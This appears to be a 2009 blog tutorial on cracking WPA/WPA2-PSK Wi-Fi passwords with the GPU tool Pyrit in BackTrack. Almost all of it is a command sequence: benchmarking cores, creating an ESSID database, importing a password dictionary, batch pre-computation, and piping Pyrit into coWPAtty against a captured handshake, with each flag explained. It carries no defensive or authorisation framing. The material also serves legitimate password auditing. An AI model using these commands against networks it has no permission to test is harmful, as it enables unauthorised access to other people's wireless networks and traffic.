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Saturday, November 28, 2009

Wireless WPA/WPA2-PSK GPU Cracking with Pyrit - How to Use Pyrit in BackTrack

Pyrit is a GPU cracker for attacking WPA/WPA2 PSK protocols. It allows to create massive databases, pre-computing part of the WPA/WPA2-PSK authentication phase in a space-time-tradeoff.  Pyrit works with many platforms including CUDA, ATI-Stream, OpenCL and VIA Padlock.

How to
Listing available cores
pyrit list_cores


Determining performance of cores
pyrit benchmark


Create a new ESSID
pyrit -e Linksys create_essid
Import list of passwords
pyrit -f dict.txt import_passwords

 Start Batch Processing
pyrit batch


Cracking WPA/WPA2-PSK using pyrit/coWPAtty
pyrit -e “Linksys” -f dict.txt passthrough | cowpatty -d – -r wpa2handshake.cap -s “Linksys“
“-e” ESSID for the command
“-f” Filename for the command (’-’ is stdin/stdout)
“-d” Hash file
“-” Accept words on stdin
“-r” Packet capture file
“-s” Network SSID

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